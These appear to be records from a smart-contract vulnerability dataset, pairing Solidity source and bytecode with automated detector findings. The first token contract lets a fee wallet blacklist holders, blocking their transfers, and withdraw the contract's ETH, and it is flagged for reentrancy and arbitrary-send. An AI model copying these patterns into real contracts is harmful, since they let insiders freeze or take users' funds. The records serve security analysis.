);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d6578063a9059cbb14610303578063c3c8cd8014610323578063c9567bf914610338578063dd62ed3e1461034d57600080fd5b80636fc3eaec1461026457806370a0823114610279578063715018a6146102995780638da5cb5b146102ae57600080fd5b806323b872dd116100dc57806323b872dd146101d35780632ab30838146101f3578063313ce56714610208578063537df3b6146102245780635932ead11461024457600080fd5b806306fdde031461011957806308aad1f114610158578063095ea7b31461017a57806318160ddd146101aa57600080fd5b3661011457005b600080fd5b34801561012557600080fd5b506040805180820190915260048152635469747360e01b60208201525b60405161014f91906114a5565b60405180910390f35b34801561016457600080fd5b5061017861017336600461135d565b610393565b005b34801561018657600080fd5b5061019a610195366004611411565b6103d7565b604051901515815260200161014f565b3480156101b657600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014f565b3480156101df57600080fd5b5061019a6101ee3660046113d0565b6103ee565b3480156101ff57600080fd5b50610178610457565b34801561021457600080fd5b506040516009815260200161014f565b34801561023057600080fd5b5061017861023f36600461135d565b61049c565b34801561025057600080fd5b5061017861025f36600461143d565b6104dd565b34801561027057600080fd5b50610178610525565b34801561028557600080fd5b506101c561029436600461135d565b610552565b3480156102a557600080fd5b50610178610574565b3480156102ba57600080fd5b506000546040516001600160a01b03909116815260200161014f565b3480156102e257600080fd5b506040805180820190915260048152635449545360e01b6020820152610142565b34801561030f57600080fd5b5061019a61031e366004611411565b6105e8565b34801561032f57600080fd5b506101786105f5565b34801561034457600080fd5b5061017861062b565b34801561035957600080fd5b506101c5610368366004611397565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600e546001600160a01b0316336001600160a01b0316146103b357600080fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006103e43384846109f9565b5060015b92915050565b60006103fb848484610b1d565b61044d843361044885604051806060016040528060288152602001611660602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c6f565b6109f9565b5060019392505050565b6000546001600160a01b0316331461048a5760405162461bcd60e51b8152600401610481906114fa565b60405180910390fd5b6b033b2e3c9fd0803ce8000000601155565b600e546001600160a01b0316336001600160a01b0316146104bc57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105075760405162461bcd60e51b8152600401610481906114fa565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461054557600080fd5b4761054f81610ca9565b50565b6001600160a01b0381166000908152600260205260408120546103e890610ce3565b6000546001600160a01b0316331461059e5760405162461bcd60e51b8152600401610481906114fa565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103e4338484610b1d565b600e546001600160a01b0316336001600160a01b03161461061557600080fd5b600061062030610552565b905061054f81610d67565b6000546001600160a01b031633146106555760405162461bcd60e51b8152600401610481906114fa565b601054600160a01b900460ff16156106af5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610481565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef30826b033b2e3c9fd0803ce80000006109f9565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610760919061137a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e0919061137a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610860919061137a565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061089081610552565b6000806108a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109419190611477565b5050601080546b033b2e3c9fd0803ce800000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f5919061145a565b5050565b6001600160a01b038316610a5b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610481565b6001600160a01b038216610abc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610481565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610481565b6001600160a01b03831660009081526006602052604090205460ff1615610ba557600080fd5b6001600160a01b0383163014610c3e57600a54600c55600b54600d556000610bcc30610552565b601054909150600160a81b900460ff16158015610bf757506010546001600160a01b03858116911614155b8015610c0c5750601054600160b01b900460ff165b15610c3c578015610c2057610c2081610d67565b4767016345785d8a0000811115610c3a57610c3a47610ca9565b505b505b6000546001600160a01b0384811691161415610c5f576000600d819055600c555b610c6a838383610ef0565b505050565b60008184841115610c935760405162461bcd60e51b815260040161048191906114a5565b506000610ca084866115f9565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109f5573d6000803e3d6000fd5b6000600854821115610d4a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610481565b6000610d54610efb565b9050610d608382610f1e565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610daf57610daf611626565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e0357600080fd5b505afa158015610e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3b919061137a565b81600181518110610e4e57610e4e611626565b6001600160a01b039283166020918202929092010152600f54610e7491309116846109f9565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ead90859060009086903090429060040161152f565b600060405180830381600087803b158015610ec757600080fd5b505af1158015610edb573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610c6a838383610f60565b6000806000610f08611057565b9092509050610f178282610f1e565b9250505090565b6000610d6083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061109f565b600080600080600080610f72876110cd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fa4908761112a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fd3908661116c565b6001600160a01b038916600090815260026020526040902055610ff5816111cb565b610fff8483611215565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104491815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce80000006110768282610f1e565b821015611096575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b600081836110c05760405162461bcd60e51b815260040161048191906114a5565b506000610ca084866115b8565b60008060008060008060008060006110ea8a600c54600d54611239565b92509250925060006110fa610efb565b9050600080600061110d8e87878761128e565b919e509c509a509598509396509194505050505091939550919395565b6000610d6083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c6f565b60008061117983856115a0565b905083811015610d605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610481565b60006111d5610efb565b905060006111e383836112de565b30600090815260026020526040902054909150611200908261116c565b30600090815260026020526040902055505050565b600854611222908361112a565b600855600954611232908261116c565b6009555050565b6000808080611253606461124d89896112de565b90610f1e565b90506000611266606461124d8a896112de565b9050600061127e826112788b8661112a565b9061112a565b9992985090965090945050505050565b600080808061129d88866112de565b905060006112ab88876112de565b905060006112b988886112de565b905060006112cb82611278868661112a565b939b939a50919850919650505050505050565b6000826112ed575060006103e8565b60006112f983856115da565b90508261130685836115b8565b14610d605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610481565b60006020828403121561136f57600080fd5b8135610d608161163c565b60006020828403121561138c57600080fd5b8151610d608161163c565b600080604083850312156113aa57600080fd5b82356113b58161163c565b915060208301356113c58161163c565b809150509250929050565b6000806000606084860312156113e557600080fd5b83356113f08161163c565b925060208401356114008161163c565b929592945050506040919091013590565b6000806040838503121561142457600080fd5b823561142f8161163c565b946020939093013593505050565b60006020828403121561144f57600080fd5b8135610d6081611651565b60006020828403121561146c57600080fd5b8151610d6081611651565b60008060006060848603121561148c57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156114d2578581018301518582016040015282016114b6565b818111156114e4576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561157f5784516001600160a01b03168352938301939183019160010161155a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115b3576115b3611610565b500190565b6000826115d557634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156115f4576115f4611610565b500290565b60008282101561160b5761160b611610565b500390565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461054f57600080fd5b801515811461054f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e499cef4ca4e120bfaf3fe11c9c325e11f96d29127a6ad1cc19e60886b088d464736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,948 |
0xcedfb2cada6cd361a14b66ba4916ca16a364bb4a
|
pragma solidity ^0.4.18;
// File: contracts/ERC20.sol
/*
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool ok);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
// ERC223
contract ContractReceiver {
function tokenFallback(address from, uint value) public;
}
// File: contracts/Ownable.sol
/*
* Ownable
*
* Base contract with an owner.
* Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner.
*/
contract Ownable {
address public owner;
function Ownable() public { owner = msg.sender; }
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// File: contracts/Deployer.sol
contract Deployer {
address public deployer;
function Deployer() public { deployer = msg.sender; }
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
}
// File: contracts/OracleOwnable.sol
contract OracleOwnable is Ownable {
address public oracle;
modifier onlyOracle() {
require(msg.sender == oracle);
_;
}
modifier onlyOracleOrOwner() {
require(msg.sender == oracle || msg.sender == owner);
_;
}
function setOracle(address newOracle) public onlyOracleOrOwner {
if (newOracle != address(0)) {
oracle = newOracle;
}
}
}
// File: contracts/ModultradeLibrary.sol
library ModultradeLibrary {
enum Currencies {
ETH, MTR
}
enum ProposalStates {
Created, Paid, Delivery, Closed, Canceled
}
}
// File: contracts/ModultradeStorage.sol
contract ModultradeStorage is Ownable, Deployer {
bool private _doMigrate = true;
mapping (address => address[]) public sellerProposals;
mapping (uint => address) public proposalListAddress;
address[] public proposals;
event InsertProposalEvent (address _proposal, uint _id, address _seller);
event PaidProposalEvent (address _proposal, uint _id);
function ModultradeStorage() public {}
function insertProposal(address seller, uint id, address proposal) public onlyOwner {
sellerProposals[seller].push(proposal);
proposalListAddress[id] = proposal;
proposals.push(proposal);
InsertProposalEvent(proposal, id, seller);
}
function getProposalsBySeller(address seller) public constant returns (address[]){
return sellerProposals[seller];
}
function getProposals() public constant returns (address[]){
return proposals;
}
function getProposalById(uint id) public constant returns (address){
return proposalListAddress[id];
}
function getCount() public constant returns (uint) {
return proposals.length;
}
function getCountBySeller(address seller) public constant returns (uint) {
return sellerProposals[seller].length;
}
function firePaidProposalEvent(address proposal, uint id) public {
require(proposalListAddress[id] == proposal);
PaidProposalEvent(proposal, id);
}
function changeOwner(address newOwner) public onlyDeployer {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
// File: contracts/ModultradeProposal.sol
contract ModultradeProposal is OracleOwnable, ContractReceiver {
address public seller;
address public buyer;
uint public id;
string public title;
uint public price;
ModultradeLibrary.Currencies public currency;
uint public units;
uint public total;
uint public validUntil;
ModultradeLibrary.ProposalStates public state;
uint public payDate;
string public deliveryId;
uint public fee;
address public feeAddress;
ERC20 mtrContract;
Modultrade modultrade;
bytes public tokenFallbackData;
event CreatedEvent(uint _id, ModultradeLibrary.ProposalStates _state);
event PaidEvent(uint _id, ModultradeLibrary.ProposalStates _state, address _buyer);
event DeliveryEvent(uint _id, ModultradeLibrary.ProposalStates _state, string _deliveryId);
event ClosedEvent(uint _id, ModultradeLibrary.ProposalStates _state, address _seller, uint _amount);
event CanceledEvent(uint _id, ModultradeLibrary.ProposalStates _state, address _buyer, uint _amount);
function ModultradeProposal(address _modultrade, address _seller, address _mtrContractAddress) public {
seller = _seller;
state = ModultradeLibrary.ProposalStates.Created;
mtrContract = ERC20(_mtrContractAddress);
modultrade = Modultrade(_modultrade);
}
function setProposal(uint _id,
string _title,
uint _price,
ModultradeLibrary.Currencies _currency,
uint _units,
uint _total,
uint _validUntil
) public onlyOracleOrOwner {
require(state == ModultradeLibrary.ProposalStates.Created);
id = _id;
title = _title;
price = _price;
currency = _currency;
units = _units;
total = _total;
validUntil = _validUntil;
}
function setFee(uint _fee, address _feeAddress) public onlyOracleOrOwner {
require(state == ModultradeLibrary.ProposalStates.Created);
fee = _fee;
feeAddress = _feeAddress;
}
function() public payable {purchase();}
function purchase() public payable {
require(currency == ModultradeLibrary.Currencies.ETH);
require(msg.value >= total);
setPaid(msg.sender);
}
function setPaid(address _buyer) internal {
require(state == ModultradeLibrary.ProposalStates.Created);
state = ModultradeLibrary.ProposalStates.Paid;
buyer = _buyer;
payDate = now;
PaidEvent(id, state, buyer);
modultrade.firePaidProposalEvent(address(this), id);
}
function paid(address _buyer) public onlyOracleOrOwner {
require(getBalance() >= total);
setPaid(_buyer);
}
function mtrTokenFallBack(address from, uint value) internal {
require(currency == ModultradeLibrary.Currencies.MTR);
require(msg.sender == address(mtrContract));
require(value >= total);
setPaid(from);
}
function tokenFallback(address from, uint value) public {
mtrTokenFallBack(from, value);
}
function tokenFallback(address from, uint value, bytes data) public {
tokenFallbackData = data;
mtrTokenFallBack(from, value);
}
function delivery(string _deliveryId) public onlyOracleOrOwner {
require(state == ModultradeLibrary.ProposalStates.Paid);
deliveryId = _deliveryId;
state = ModultradeLibrary.ProposalStates.Delivery;
DeliveryEvent(id, state, deliveryId);
modultrade.fireDeliveryProposalEvent(address(this), id);
}
function close() public onlyOracleOrOwner {
require(state != ModultradeLibrary.ProposalStates.Closed);
require(state != ModultradeLibrary.ProposalStates.Canceled);
if (currency == ModultradeLibrary.Currencies.ETH) {
closeEth();
}
if (currency == ModultradeLibrary.Currencies.MTR) {
closeMtr();
}
state = ModultradeLibrary.ProposalStates.Closed;
ClosedEvent(id, state, seller, this.balance);
modultrade.fireCloseProposalEvent(address(this), id);
}
function closeEth() private {
if (fee > 0) {
feeAddress.transfer(fee);
}
seller.transfer(this.balance);
}
function closeMtr() private {
if (fee > 0) {
mtrContract.transfer(feeAddress, fee);
}
mtrContract.transfer(seller, getBalance());
}
function cancel(uint cancelFee) public onlyOracleOrOwner {
require(state != ModultradeLibrary.ProposalStates.Closed);
require(state != ModultradeLibrary.ProposalStates.Canceled);
uint _balance = getBalance();
if (_balance > 0) {
if (currency == ModultradeLibrary.Currencies.ETH) {
cancelEth(cancelFee);
}
if (currency == ModultradeLibrary.Currencies.MTR) {
cancelMtr(cancelFee);
}
}
state = ModultradeLibrary.ProposalStates.Canceled;
CanceledEvent(id, state, buyer, this.balance);
modultrade.fireCancelProposalEvent(address(this), id);
}
function cancelEth(uint cancelFee) private {
uint _fee = cancelFee;
if (cancelFee > this.balance) {
_fee = this.balance;
}
feeAddress.transfer(_fee);
if (this.balance > 0 && buyer != address(0)) {
buyer.transfer(this.balance);
}
}
function cancelMtr(uint cancelFee) private {
uint _fee = cancelFee;
uint _balance = getBalance();
if (cancelFee > _balance) {
_fee = _balance;
}
mtrContract.transfer(feeAddress, _fee);
_balance = getBalance();
if (_balance > 0 && buyer != address(0)) {
mtrContract.transfer(buyer, _balance);
}
}
function getBalance() public constant returns (uint) {
if (currency == ModultradeLibrary.Currencies.MTR) {
return mtrContract.balanceOf(address(this));
}
return this.balance;
}
}
// File: contracts/Modultrade.sol
contract Modultrade is OracleOwnable, Deployer {
address public mtrContractAddress;
ModultradeStorage public modultradeStorage;
event ProposalCreatedEvent(uint _id, address _proposal);
event PaidProposalEvent (address _proposal, uint _id);
event CancelProposalEvent (address _proposal, uint _id);
event CloseProposalEvent (address _proposal, uint _id);
event DeliveryProposalEvent (address _proposal, uint _id);
event LogEvent (address _addr, string _log, uint _i);
function Modultrade(address _owner, address _oracle, address _mtrContractAddress, address _storageAddress) public {
transferOwnership(_owner);
setOracle(_oracle);
mtrContractAddress = _mtrContractAddress;
modultradeStorage = ModultradeStorage(_storageAddress);
}
function createProposal(
address seller,
uint id,
string title,
uint price,
ModultradeLibrary.Currencies currency,
uint units,
uint total,
uint validUntil,
uint fee,
address feeAddress
) public onlyOracleOrOwner {
ModultradeProposal proposal = new ModultradeProposal(address(this), seller, mtrContractAddress);
LogEvent (address(proposal), 'ModultradeProposal', 1);
proposal.setProposal(id, title, price, currency, units, total, validUntil);
proposal.setFee(fee, feeAddress);
proposal.setOracle(oracle);
proposal.transferOwnership(owner);
modultradeStorage.insertProposal(seller, id, address(proposal));
ProposalCreatedEvent(proposal.id(), address(proposal));
}
function transferStorage(address _owner) public onlyOracleOrOwner {
modultradeStorage.transferOwnership(_owner);
}
function firePaidProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
PaidProposalEvent(proposal, id);
}
function fireCancelProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
CancelProposalEvent(proposal, id);
}
function fireCloseProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
CloseProposalEvent(proposal, id);
}
function fireDeliveryProposalEvent(address proposal, uint id) public {
var _proposal = modultradeStorage.getProposalById(id);
require(_proposal == proposal);
DeliveryProposalEvent(proposal, id);
}
}
|
0x60606040526004361061015b5763ffffffff60e060020a60003504166308551a53811461016557806312065fe0146101945780631e626456146101b95780632ddbd13a146102435780633b66d02b1461025657806340e58ee514610278578063412753581461028e57806343d726d6146102a15780634a79d50c146102b457806364edfbf01461015b5780637150d8ae146102c75780637adbf973146102da5780637dc0d1d0146102f95780638da5cb5b1461030c578063976a84351461031f5780639a3f3ae5146103325780639b332a91146103a3578063a035b1fe146103b6578063a340cf79146103c9578063af640d0f146103e8578063b4f2e8b8146103fb578063c0ee0b8a1461041d578063c19d93fb14610482578063ddac6654146104b9578063ddca3f43146104cc578063e5a6b10f146104df578063ec29781e14610502578063f2fde38b14610515578063fa26fe3214610534575b610163610585565b005b341561017057600080fd5b6101786105bc565b604051600160a060020a03909116815260200160405180910390f35b341561019f57600080fd5b6101a76105cb565b60405190815260200160405180910390f35b34156101c457600080fd5b6101cc610671565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102085780820151838201526020016101f0565b50505050905090810190601f1680156102355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024e57600080fd5b6101a761070f565b341561026157600080fd5b610163600160a060020a0360043516602435610715565b341561028357600080fd5b610163600435610723565b341561029957600080fd5b6101786108f8565b34156102ac57600080fd5b610163610907565b34156102bf57600080fd5b6101cc610ac2565b34156102d257600080fd5b610178610b2d565b34156102e557600080fd5b610163600160a060020a0360043516610b3c565b341561030457600080fd5b610178610bad565b341561031757600080fd5b610178610bbc565b341561032a57600080fd5b6101a7610bcb565b341561033d57600080fd5b610163600480359060446024803590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496505084359460ff60208201351694506040810135935060608101359250608001359050610bd1565b34156103ae57600080fd5b6101a7610c71565b34156103c157600080fd5b6101a7610c77565b34156103d457600080fd5b610163600160a060020a0360043516610c7d565b34156103f357600080fd5b6101a7610cd2565b341561040657600080fd5b610163600435600160a060020a0360243516610cd8565b341561042857600080fd5b61016360048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610d5f95505050505050565b341561048d57600080fd5b610495610d7d565b604051808260048111156104a557fe5b60ff16815260200191505060405180910390f35b34156104c457600080fd5b6101a7610d86565b34156104d757600080fd5b6101a7610d8c565b34156104ea57600080fd5b6104f2610d92565b604051808260018111156104a557fe5b341561050d57600080fd5b6101cc610d9b565b341561052057600080fd5b610163600160a060020a0360043516610e06565b341561053f57600080fd5b61016360046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e5d95505050505050565b600060075460ff16600181111561059857fe5b146105a257600080fd5b6009543410156105b157600080fd5b6105ba33611019565b565b600254600160a060020a031681565b6000600160075460ff1660018111156105e057fe5b141561066157601054600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561063f57600080fd5b6102c65a03f1151561065057600080fd5b50505060405180519050905061066e565b50600160a060020a033016315b90565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107075780601f106106dc57610100808354040283529160200191610707565b820191906000526020600020905b8154815290600101906020018083116106ea57829003601f168201915b505050505081565b60095481565b61071f8282611147565b5050565b60015460009033600160a060020a0390811691161480610751575060005433600160a060020a039081169116145b151561075c57600080fd5b6003600b5460ff16600481111561076f57fe5b141561077a57600080fd5b6004600b5460ff16600481111561078d57fe5b141561079857600080fd5b6107a06105cb565b905060008111156107ef57600060075460ff1660018111156107be57fe5b14156107cd576107cd82611197565b600160075460ff1660018111156107e057fe5b14156107ef576107ef8261124c565b600b805460ff1916600490811791829055546003547f950d924bfd844a06a0d57aa31b13eb08e872c53d40e08145cf7dc21ad9eeeceb9260ff1690600160a060020a03908116903016316040518085815260200184600481111561084f57fe5b60ff16815260200183600160a060020a0316600160a060020a0316815260200182815260200194505050505060405180910390a1601154600454600160a060020a039091169063770f75b790309060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156108e057600080fd5b6102c65a03f115156108f157600080fd5b5050505050565b600f54600160a060020a031681565b60015433600160a060020a0390811691161480610932575060005433600160a060020a039081169116145b151561093d57600080fd5b6003600b5460ff16600481111561095057fe5b141561095b57600080fd5b6004600b5460ff16600481111561096e57fe5b141561097957600080fd5b600060075460ff16600181111561098c57fe5b141561099a5761099a611396565b600160075460ff1660018111156109ad57fe5b14156109bb576109bb611413565b600b805460ff1916600317908190556004546002547f9efa430a22c488c7a5d0eccd5d357027831aa633583754913833e93694f9737b9260ff1690600160a060020a039081169030163160405180858152602001846004811115610a1b57fe5b60ff16815260200183600160a060020a0316600160a060020a0316815260200182815260200194505050505060405180910390a1601154600454600160a060020a039091169063dccc6c9490309060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610aac57600080fd5b6102c65a03f11515610abd57600080fd5b505050565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107075780601f106106dc57610100808354040283529160200191610707565b600354600160a060020a031681565b60015433600160a060020a0390811691161480610b67575060005433600160a060020a039081169116145b1515610b7257600080fd5b600160a060020a03811615610baa576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600160a060020a031681565b600054600160a060020a031681565b60085481565b60015433600160a060020a0390811691161480610bfc575060005433600160a060020a039081169116145b1515610c0757600080fd5b6000600b5460ff166004811115610c1a57fe5b14610c2457600080fd5b60048790556005868051610c3c92916020019061152d565b5060068590556007805485919060ff191660018381811115610c5a57fe5b0217905550600892909255600955600a5550505050565b600c5481565b60065481565b60015433600160a060020a0390811691161480610ca8575060005433600160a060020a039081169116145b1515610cb357600080fd5b600954610cbe6105cb565b1015610cc957600080fd5b610baa81611019565b60045481565b60015433600160a060020a0390811691161480610d03575060005433600160a060020a039081169116145b1515610d0e57600080fd5b6000600b5460ff166004811115610d2157fe5b14610d2b57600080fd5b600e91909155600f805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b6012818051610d7292916020019061152d565b50610abd8383611147565b600b5460ff1681565b600a5481565b600e5481565b60075460ff1681565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107075780601f106106dc57610100808354040283529160200191610707565b60005433600160a060020a03908116911614610e2157600080fd5b600160a060020a03811615610baa5760008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b60015433600160a